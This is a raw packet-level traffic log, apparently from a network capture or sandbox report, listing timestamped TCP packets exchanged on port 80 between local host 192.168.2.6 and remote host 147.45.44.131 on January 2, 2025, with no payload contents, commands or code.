Jan 2, 2025 19:14:18.370313883 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370337009 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370345116 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.370348930 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370481968 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.370496988 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370511055 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370517969 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370522976 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370527983 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370543957 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370548010 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370548964 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.370553970 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370560884 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370579958 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370587111 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370588064 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.370588064 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.370596886 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370604038 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370616913 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.370616913 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.370649099 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.371720076 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.371767044 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.371773958 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.371779919 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.371822119 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.371834993 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.371856928 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.371864080 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.371974945 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.372121096 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372128963 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372140884 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372145891 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372159004 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372164965 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372170925 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372174978 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372179985 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372185946 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372208118 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.372219086 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.372247934 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372275114 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.372441053 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372447014 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372452974 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372462988 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372469902 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372474909 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372482061 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372487068 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372490883 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.372493029 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372498989 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372503996 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.372505903 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372510910 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372517109 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372551918 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.372553110 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.372868061 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.372960091 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372966051 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372972012 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372977972 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372983932 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.372988939 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.373023033 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.373023987 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.373030901 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.373068094 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.373126030 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.373225927 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.373230934 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.373262882 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.373285055 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.373311043 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.373323917 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.373332024 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.373337030 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.373409986 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.373425007 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.373430014 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.373435020 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.373435974 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.373442888 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.373452902 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.373457909 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.373460054 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.373466015 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.373514891 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.374841928 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.374846935 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.374942064 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.374948025 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.374953985 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.374984980 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.375293016 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.412587881 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.412602901 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.412610054 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.412621021 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.412627935 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.412633896 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.412640095 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.412642956 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.412718058 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.412718058 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.459249973 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.459258080 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.459270000 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.459275961 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.459281921 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.459353924 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.459429026 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.459435940 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.459441900 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.459446907 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.459498882 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.459511042 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.460378885 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.460428953 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.460498095 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.460505009 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.460515976 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.460522890 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.460529089 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.460535049 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.460557938 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.460571051 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.460587978 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.460834980 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.460840940 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.460853100 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.460858107 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.460864067 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.460875034 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.460880995 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.460880995 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.460918903 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.461035013 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461041927 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461046934 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461054087 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461097956 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.461173058 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461236954 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.461327076 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461333990 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461344957 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461350918 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461361885 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461368084 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461373091 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.461374998 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461380959 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461391926 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.461421013 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.461509943 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461515903 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461528063 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461533070 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461546898 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.461581945 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.461658955 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461664915 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461675882 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461682081 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461688042 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461710930 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.461729050 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.461815119 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461819887 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461829901 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461837053 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461842060 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461853981 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461859941 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461862087 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.461865902 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461873055 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461879969 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.461905003 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.461920977 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.461970091 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461982965 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.461988926 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462001085 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462004900 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462017059 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462018967 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.462023020 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462028980 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462034941 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462039948 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462045908 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462049961 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.462052107 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462099075 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.462127924 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462136030 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462141991 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462147951 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462152958 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462155104 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.462160110 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462166071 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462172031 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462177992 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462182999 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462188959 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462194920 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462205887 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462212086 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462217093 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462218046 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.462218046 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.462223053 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462234974 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462241888 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.462261915 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.462678909 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462685108 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462697983 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462703943 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462719917 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.462740898 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462754965 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462760925 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462763071 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.462765932 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462773085 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462774038 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.462778091 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462784052 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462800026 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.462815046 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462826014 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462831020 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462836027 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462841988 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.462848902 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.462894917 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.462894917 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.463880062 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.463915110 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.463920116 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.463931084 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.463939905 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.463960886 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.463965893 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.463965893 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.463983059 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.463987112 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.464015007 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.464035034 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.464036942 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.464044094 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.464082956 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.464111090 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.464116096 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.464124918 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.464131117 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.464135885 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.464140892 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.464147091 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.464150906 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.464150906 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.464158058 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.464176893 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.464217901 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.494853020 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.503045082 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.503051996 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.503062963 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.503113985 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.503129005 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.503135920 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.503149033 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.503154993 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.503161907 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.503182888 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.503213882 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.549587011 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.549596071 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.549612999 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.549626112 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.549633026 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.549639940 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.549640894 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.549647093 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.549653053 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.549698114 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.549714088 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.550575972 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.550581932 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.550590038 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.550606966 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.550612926 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.550631046 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.550653934 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.550659895 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.550672054 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.550693989 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.550693989 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.550738096 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.551107883 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551145077 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551196098 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.551259041 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551265955 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551285028 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551290989 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551296949 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551301956 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551306963 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.551307917 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551320076 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551331997 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.551345110 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551350117 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551362038 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.551398039 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.551482916 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551490068 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551496983 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551501989 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551507950 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551513910 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551520109 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551525116 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551531076 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551532984 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.551553965 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.551558971 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551563025 CET	49734	80	192.168.2.6	147.45.44.131
